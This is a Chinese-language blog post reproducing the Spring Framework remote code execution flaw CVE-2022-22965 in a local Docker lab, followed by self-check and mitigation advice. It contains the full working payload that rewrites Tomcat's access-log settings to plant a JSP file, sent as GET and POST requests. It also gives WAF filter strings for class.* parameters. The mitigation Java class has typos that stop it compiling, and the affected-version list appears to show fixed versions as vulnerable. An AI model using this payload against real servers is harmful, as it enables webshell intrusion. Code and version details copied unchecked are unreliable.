freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Spring框架远程命令执行复现(CVE-2022-22965)
2022-06-09 09:56:54
所属地 山东省

一  漏洞简介

  2022年3月30日,Spring框架曝出RCE 0day漏洞,国家信息安全漏洞共享平台(CNVD)已收录了Spring框架远程命令执行漏洞(CNVD-2022-23942),考虑到Spring框架的广泛应用,漏洞被评级为危险。

  通过该漏洞可写入webshell以及命令执行。在Spring框架的JDK9版本(及以上版本)中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值,从而触发pipeline机制并写入任意路径下的文件。

二 漏洞利用条件

  1. Apache Tomcat作为Servlet容器;
  2. 使用JDK9及以上版本的Spring MVC框架;
  3. Spring框架以及衍生的框架spring-beans-*.jar文件或者存在

三 漏洞影响范围

1、JDK     JDK 9+

2、Spring Framework       5.3.18+       5.2.20+

四 漏洞复现

复现环境:Centos7(192.168.114.100)

复现工具:FinalShell,Burp

VMware Workstation Pro 16安装CentOS7详细图文步骤并配置网络连接(略)

重点配置网络

1.虚拟机网络配置:编辑 -> 虚拟机网络编辑器 -> 取消勾选“使用本地DHCP服务…” -> 查看NAT子网和网关(下一步使用)

1654738767_62a14f4f26b8900eca755.png!small?1654738767410

1654738782_62a14f5e87a50ed65effa.png!small?1654738782816

1654738802_62a14f7207566da937f7f.png!small?1654738802347

2.网络连接适配器设置:控制面板 -> 网络和 Internet -> 网络和共享中心 -> 点击更改适配器设置 -> 右键“VMware Virtual Ethernet Adapter for VMnet8”,选择属性 -> 编辑“Internet协议版本 4” -> 设置网关和IP(网关同上一步)

1654738835_62a14f9390b8cd66b75d0.png!small?1654738835862

3.配置虚拟主机:

# 虚拟机内打开终端,输入
cd  /etc/sysconfig/network-scripts/

# 找到ifcfg-ens33,并编辑
sudo vi ifcfg-ens33

# 编辑相关配置,主要修改如下
BOOTPROTO=static
ONBOOT=yes
IPADDR=192.168.114.100
GATEWAY=192.168.114.2
NETMASK=255.255.255.0
DNS1=192.168.114.2

# 保存之后,重启网络
service network restart


4.至此网络配置就算完成了,验证配置结果:

  • 虚拟机 ping com
  • 虚拟机 ping 主机
  • 主机 ping 虚拟机

Docker使用(一) — Linux下Docker安装部署

1、docker安装

通过yum安装docker,命令如下:

1.1、配置yum

# 安装工具包

yum install -y yum-utils

1654738977_62a15021e933d63e9827c.png!small?1654738978197

# 设置源

yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo

1654739007_62a1503f210bb2c05209b.png!small?1654739007414

# 快速更新

yum makecache fast

1.2、安装docker

# 最新版本

yum install docker-ce docker-ce-cli containerd.io

安装过程中会出现:Is this ok [y/d/N]:此处填写y,然后点击Enter即可

1654739028_62a15054f124561bc7e0a.png!small?1654739029233

# 查询版本

docker -v

1654739052_62a1506c62fc9ce0d6721.png!small?1654739052642

# 启动并加入开机启动

systemctl start docker   #启动

systemctl enable docker  #自启

1654739085_62a1508d681ba5ff8e0a0.png!small?1654739085681

上面的方式会自动安装最新版本的docker,指定版本如下命令:

# 指定版本

# VERSION_STRING为指定的版本号

yum install docker-ce-<VERSION_STRING> docker-ce-cli-<VERSION_STRING> containerd.io

开始复现......

打开FinalShell,连接CentOs7,链接虚拟环境

docker pull vulfocus/spring-core-rce-2022-03-29:latest

运行docker拉取的镜像

docker run -itd -p 8090:8080 vulfocus/spring-core-rce-2022-03-29


1654739172_62a150e4e3f21fef4cd77.png!small?1654739175860

访问192.168.114.100+上面设置的8090端口

1654739200_62a151002ad1575ca347f.png!small?1654739200396


利⽤class对象构造利⽤链,对Tomcat的日志配置进行修改,然后,向⽇志中写⼊shell

完整的利用链:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=

构建文件的内容

class.module.classLoader.resources.context.parent.pipeline.first.suffix=

修改tomcat日志文件后缀

class.module.classLoader.resources.context.parent.pipeline.first.directory=

写入文件所在的网站根目录

class.module.classLoader.resources.context.parent.pipeline.first.prefix=

写入文件名称

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

文件日期格式(实际构造为空值即可)

构造payload

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{test}i

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=/app/tomcat/webapps/ROOT/

class.module.classLoader.resources.context.parent.pipeline.first.prefix=testfile

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

发送payload:

GET发送(需要分五次请求,依次发送有时候spring会出问题)

http://192.168.114.100:8090/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Btest%7Di

http://192.168.114.100:8090/?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

http://192.168.114.100:8090/?class.module.classLoader.resources.context.parent.pipeline.first.directory=%2Fapp%2Ftomcat%2Fwebapps%2FROOT%2F

http://192.168.114.100:8090/?class.module.classLoader.resources.context.parent.pipeline.first.prefix=testfile

http://192.168.114.100:8090/?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

POST发送(数据包格式 Content-Type: application/x-www-form-urlencoded,推荐这种方式)

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Btest%7Di&

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&

class.module.classLoader.resources.context.parent.pipeline.first.directory=%2Fapp%2Ftomcat%2Fwebapps%2FROOT%2F&

class.module.classLoader.resources.context.parent.pipeline.first.prefix=testfile&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

1654739285_62a151553b52b66c6b14f.png!small?1654739286195

浏览器访问

192.168.114.100:8090/testfile.jsp

1654739311_62a1516fe8335662c2f7d.png!small?1654739312234

五 漏洞自查

可按照以下步骤来判断是否受此漏洞影响:

  1. 排查是否使用了Spring框架(包括但不限于以下方法)
(1) 排查项目中是否使用了Spring框架: 可遍历项目文件查找是否包含spring-beans-*.jar

 (2) 排查war包中是否存在Spring框架:

(2)检查war包内是否存在spring-beans-*.jar文件,若存在则表示使用spring开发框架;若不存在,则进一步确认是否存在CachedIntrospectionResults.class文件,若存在则表示使用Spring开发框架或衍生框架。

(3) 排查jar包部中的Spring:

  检查Jar包内是否存在spring-beans-*.jar文件,若存在则表示使用Spring开发框架;若不存在,则进一步确认是否存在CachedIntrospectionResults.class文件,若存在则表示使用Spring开发框架或衍生框架。
  1. 排查包含Spring框架的项目使用的JDK版本,如果JDK版本>=9则存在风险。

六  漏洞修复

(一) WAF防护

   在WAF等网络防护设备上,根据实际部署业务的流量情况,实现对class.*, Class.*,*.class.*,*.Class.* 等字符串的规则过滤,并在部署过滤规则后,对业务运行情况进行测试,避免产生额外影响。

(二) 临时修复措施

 需同时按以下步骤进行漏洞的临时修复:

1.在应用中全局搜索@InitBinder注解,看看方法体内是否调用dataBinder.setDisallowedFields方法,如果发现此代码片段的引入,则在原来的黑名单中,添加{"class.*","Class.*","*.class.*","*.Class.*"}。(注:如果此代码片段使用较多,需要每个地方都追加)

2 在用系统的项目包下新建以下全局类,并保证这个类被Spring 加载到(推荐在Controller所在的包中添加)。完成类添加后,需对项目进行重新编译打包和功能验证测试,并重新发布项目。

import org.springframework.core.annotation.Order;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.bind.annotation.InitBinder;
@ControllerAdvice
@Order(10000)
public class GlobalControllerAdvicc{
@InitBinder
public void setAllowedFields(webdataBinder dataBinder){
String[]abd=new string[]{"class.*","Class.*","*.class.*","*.Class.*"};            dataBinder.setDisallowedFields(abd);
}
}

3 退钱!!!

1654739625_62a152a9214322710fe6b.png!small?1654739627627






















# 漏洞分析
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录